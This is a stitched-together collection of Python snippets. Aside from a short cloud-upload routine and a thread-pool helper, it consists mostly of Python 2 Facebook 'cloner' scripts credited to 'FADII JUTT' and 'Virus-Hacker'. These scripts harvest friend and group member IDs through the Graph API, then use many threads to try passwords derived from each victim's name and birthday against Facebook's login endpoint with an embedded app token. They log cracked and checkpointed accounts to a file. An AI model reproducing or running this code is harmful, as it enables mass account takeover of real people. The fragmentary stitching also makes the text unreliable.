saveToJson(p_list) upload_to_cloudsearch(products_json) print ('uploading') # Yield successive n-sized # chunks from l. def divide_chunks(l, n): # looping till length l for i in range(0, len(l), n): yield l[i:i + n] if __name__ == '__main__': #first run all_products=getAdvertisers() product_list=[] #use extend instead of append to get all product_list.extend(getProducts(all_products)) # using list comprehension, devide all products into 4000 each n = 4000 final = divide_chunks(product_list, n) # set retries to avoid timeout config = Config(connect_timeout=10, retries={'max_attempts': 0}) pool= ThreadPool(processes=3) pool.map(upload_test, final) print('done')
print '\x1b[1;92mHack 100%💉\x1b[1;97m-\x1b[1;93m▬\x1b[1;97m-' + user + '-\x1b[1;93m▬\x1b[1;97m-' + pass13 oks.append(user+pass13) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;93mCheckpoint\x1b[1;97m-\x1b[1;93m▬\x1b[1;97m-' + user + '-\x1b[1;93m▬\x1b[1;97m-' + pass13 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass13+"\n") cek.close() cekpoint.append(user+pass13) except: pass p = ThreadPool(50) p.map(main, id) print "\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;93mDEFAULTER\033[1;96m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•" print " \033[1;93m«---•◈•---Developed By FADII JUTT--•◈•---»" #Dev:FADII JUTT print '\033[1;96m✅Process Has Been Completed Press➡ Ctrl+Z.↩ Next Type (python2 FADII JUTT.py)↩\033[1;97m....' print"\033[1;92mTotal OK/\x1b[1;93mCP \033[1;93m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print """ ╭━━━┳━━━┳━━━┳━━┳━━╮╱╱╭┳╮╱╭┳━━━━┳━━━━╮ ┃╭━━┫╭━╮┣╮╭╮┣┫┣┻┫┣╯╱╱┃┃┃╱┃┃╭╮╭╮┃╭╮╭╮┃ ┃╰━━┫┃╱┃┃┃┃┃┃┃┃╱┃┃╱╱╱┃┃┃╱┃┣╯┃┃╰┻╯┃┃╰╯ ┃╭━━┫╰━╯┃┃┃┃┃┃┃╱┃┃╱╭╮┃┃┃╱┃┃╱┃┃╱╱╱┃┃ ┃┃╱╱┃╭━╮┣╯╰╯┣┫┣┳┫┣╮┃╰╯┃╰━╯┃╱┃┃╱╱╱┃┃ ╰╯╱╱╰╯╱╰┻━━━┻━━┻━━╯╰━━┻━━━╯╱╰╯╱╱╱╰╯
def pilih_hh2(): global okay peak = raw_input("\033[37;1mroot@R15K1\033[31;1m-\033[37;1m#\033[32;1m ") if peak == '': print '\x1b[31;1m[!] \x1b[31;1mJangan kosong' pilih_mbf() else: if peak == '1' or peak == '01': os.system('reset') print logo r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2' or peak == '02': os.system('reset') print logo idg = raw_input('\033[37;1m[\033[32;1m?\033[37;1m] Masukan ID group \033[36;1m:\033[37;1m ') try: os.system('reset') print logo r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\033[31;1m[✓]\033[32;1m Groups\033[31;1m :\033[37;1m ' + asw['name'] except KeyError: print '\x1b[31;1m[!] \x1b[31;1mGroups Tidak Ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mEnter Aja Gan \x1b[1;91m]') menu() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0' or peak == '00': os.system('rm -rf cookie') keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_mbf() print '\033[31;1m[+] \033[32;1mTotal ID\033[31;1m : \033[37;1m'+str(len(id)) print "\033[36;1m========================================================" def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass1+"\033[36;1m |\033[37;1m "+z['name'] else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass2+"\033[36;1m |\033[37;1m "+z['name'] else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass3+"\033[36;1m |\033[37;1m "+z['name'] else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass4+"\033[36;1m |\033[37;1m "+z['name'] else: pass5 = a['first_name'] + 'ganteng123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass5+"\033[36;1m |\033[37;1m "+z['name'] else: pass6 = a['first_name'] + 'cantik123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass6+"\033[36;1m |\033[37;1m "+z['name'] else: pass7 = 'doraemon' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass7+"\033[36;1m |\033[37;1m "+z['name'] else: pass8 = 'sayang' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass8+"\033[36;1m |\033[37;1m "+z['name'] else: pass9 = 'kontol123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass9+"\033[36;1m |\033[37;1m "+z['name'] except: pass meq = ThreadPool(30) meq.map(main, id) print "\033[31;1m========================================================" print "\033[32;1m[✓]\033[37;1m Done Ya Boss Q" os.system('rm -rf cookie') keluar()
def sequence_parallel(fs): pool = ThreadPool(len(fs)) try: return pool.map(lambda f: f(), fs) finally: pool.terminate()
def pilih_super(): peak = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mBlackMafia\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input( "\033[1;96m[тЩб] \033[1;92mEnter ID link\033[1;93m: \033[1;97m") print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mB4baloch\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд" try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"] except KeyError: print "\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]") super() print "\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m" + str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;91mCloning\033[1;93m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;94m┬л-----\x1b[1;93mтЩбTo Stop Process Press CTRL+ZтЩб\033[1;94m----┬╗" print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mBlackMafia\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд" jalan( ' \033[1;93m .......................Cloning Start plzzz Wait....................... ' ) print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mBlackMafia\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass #Dev:b4_baloch try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('india123') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = (j['first_name'] + 'gupta') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = (j['first_name'] + 'ansari') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass3 oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = (j['first_name'] + 'khan') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass4 oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = (j['first_name'] + 'singh') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass5 oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass5 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = (j['first_name'] + 'thakur') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass6 oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass6 cek = open( "out/checkpoint.txt", "a") cek.write(user + "|" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: a = requests.get( 'https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads( a.text) pass7 = ( j['first_name'] + 'sharma') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass7 oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass7 cek = open( "out/checkpoint.txt", "a") cek.write( user + "|" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mVirus\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд" print " \033[1;91m┬л---тАвтЧИтАв---Developed By Virus-Hacker--тАвтЧИтАв---┬╗" #Dev:Virus_hacker print '\033[1;91mProcess Has Been Completed\033[1;92m....' print "\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m" + str( len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint)) print """ Virus Society. : \033[1;93m.Virus Community Cloner.... \033[1;93m : Virus Society.' whatsapp Num Main Nhi Bataonga""" raw_input("\n\033[1;93m[\033[1;91mBack\033[1;93m]") menu()